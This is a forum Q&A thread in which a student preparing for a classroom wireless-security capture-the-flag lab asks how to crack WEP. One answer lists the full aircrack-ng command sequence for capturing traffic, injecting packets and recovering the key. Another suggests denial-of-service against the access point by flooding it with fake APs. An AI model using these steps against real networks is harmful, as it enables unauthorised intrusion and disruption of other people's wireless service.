Wireless security attack techniques

Question

Before I ask for some advice, please don't assume I'm a script kiddie or such. This is for one of my wireless security class (CSS 1015).

It's a Saturday class and only 6 students are in the class since it starts at 8:30 AM until 10 AM. Next week we are doing a lab where we bring in switches and routers and set up AP in the classroom (we are naming it CSS1015_1 and so on). The professor said one team will be the attack team and the other is the defense team. The defense team will have a small .txt file behind their AP and the attack team has to crack WEP and find that file (he calls it capture the flag).

I want to be ahead of the game when it comes to class next week. What are some tips/tricks that I should be doing with my attack team? Since it's our first time the WEP will be only 6 characters long.

Answer 1

There are a number of resources online, but I think you might find that the tutorials about Backtrack might be the most useful. You can run Backtrack on a live cd or as a VM on your laptop. The added benefit to Backtrack is that it will also have the tools to break into whatever host has the flag you are looking for.

Most tutorials will show you how to use aircrack-ng, so getting to know that tool will get you a long way.

Good luck on the exercise!

Answer 2

Get backtrack 5 on your PC, if you don't like to read, there is a nice youtube video here

After firing up backtrack, open a terminal:

• put your wifi card in monitoring mode: airmon-ng start wlan0
• Now start listening for AP's with your monitoring device
• airodump-ng mon0 (Now look for the channel and the BSSID )
• airodump-ng -c 1 -b BSSID -w FILENAME mon0
• Open a new terminal window
• aireplay-ng -1 0 -a BSSID mon0
• aireplay-ng -3 -b BSSID mon0

Now relax and grab yourself a coke, it will start running, I think the best is to wait for about 100.000 packages. Then stop it and run:

aircrack-ng FILENAME.cap

After a few seconds/minutes the password should appear.

Notes:

• BSSID is a mac address
• It might be your WLAN number is different, therefor use the command ifconfig and found out what your wifi card is.

Answer 3

@davidS - I am unable to reply yet, but yes a DDoS generally uses a botnet (network of distributed PCs). What your professor probably meant is that you can feel free to DoS the AP.

It wouldn't make since if you're working in a team, but if each attacker is working separately it could be fun. You should be able to get the WEP key extremely quickly if you're prepared. Then there's plenty of ways to DoS an AP.

I think the most fun way (that wouldn't affect other wireless communications) would be to pop up tons of fake APs with similar SSIDs. (http://rfakeap.tuxfamily.org/)

Here is a list of possible DoS techniques: http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/WirelessHacks/Mateti-WirelessHacks.htm#_Toc77524671